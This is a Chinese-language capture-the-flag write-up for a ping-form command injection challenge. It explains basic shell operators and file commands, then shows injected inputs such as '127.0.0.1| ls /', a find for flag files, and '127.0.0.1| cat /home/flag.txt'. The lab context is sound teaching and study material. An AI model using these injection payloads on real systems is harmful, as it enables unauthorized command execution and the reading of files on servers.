题目:command_execution (命令执行) 难度:2
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗
首先,根据对题目的阅读,我们可以得知:该ping功能没有waf(web应用防火墙),因此我们可以从ping命令执行漏洞作为切入。
知识点补习
什么是ping命令?
Ping命令是一种常用的网络诊断工具,用于测试与目标主机之间的连接。通过发送ICMP回显请求消息到目标主机,然后等待该主机返回响应,从而确定两台主机之间的通信是否正常。Ping命令通常用于检查网络连接是否正常、测量网络延迟和丢包率等
举例,我们打开通过WIN+R,打开cmd。输入命令ping
ping 目标IP
或者
ping 主机名
以本地ip为例,回车即可得到
这里得到了三个来自127.0.0.1的回复,这表示目标计算机成功返回了数据包,该ip网络连通性是可连接网络的。
当然,运用本题的网页输入,测试ip,也会得到这样的结果,除非该ip网络不可连通,就会得到以下回复:
ping: connect: Network is unreachable
ping命令执行漏洞
管道符
攻击原理:在用Linux命令时候,我们可以一行执行多条命令,或者有条件的执行下一条命令
逻辑:
eg.
先执行ping命令,然后执行ls
ping 127.0.0.1 && ls
Linux命令
此处只简单介绍本题中会用到的Linux命令,更多详细命令还请移步到
Linux命令大全:掌握常用命令,轻松使用Linux操作系统-CSDN博客
ls命令
用于显示指定目录下的文件和目录列表。如果没有指定目录,则默认显示当前目录下的文件和目录列表。
ls 查看当前目录下的文件
ls -l(ll) 查看文件和目录的详细资料
ls -a 列出全部文件,包含隐藏文件
ls -R 连同子目录的内容一起列出(递归列出文件)
ls [0-9] 显示包含数字的文件名和目录名
cat命令
cat命令用于查看指定文件的内容。例如,输入"cat file.txt"可显示出名为file.txt的文件的内容。
cat file1 从第一个字节开始正向查看文件的内容
tac file1 从最后一行开始反向查看一个文件的内容
cat -n file1 标示文件的行数
more file1 查看一个长文件的内容
head -n 2 file1 查看一个文件的前两行
tail -n 2 file1 查看一个文件的最后两行
tail -n +1000 file1 从1000行开始显示,显示1000行以后的
cat filename | head -n 3000 | tail -n +1000 显示1000行到3000行
cat filename | tail -n +3000 | head -n 1000 从第3000行开始,显示1000(即显示3000~3999行)
解题
以上知识就是本题要综合运用的知识点,下面让我们正式开始解题
步骤一
运用逻辑符 “|” ,意为跳过ping命令直接执行ls命令,查看当前目录下的文件。输入命令:
127.0.0.1| ls /
步骤二
进入bin目录检查一下
127.0.0.1| ls /bin
我觉得这样一个一个找也不是办法,所以我选择使用find命令,同时我的猜想是flag应该就是文件名了,因此,命令如下:
127.0.0.1 | find / -name "flag*"
格式:
find / -name "已知文件名的部分*"
其实和sql语句是类似的,可以联想
得到以下信息:
步骤三
使用cat打开flag.txt文件,查看内容
命令如下:
127.0.0.1| cat /home/flag.txt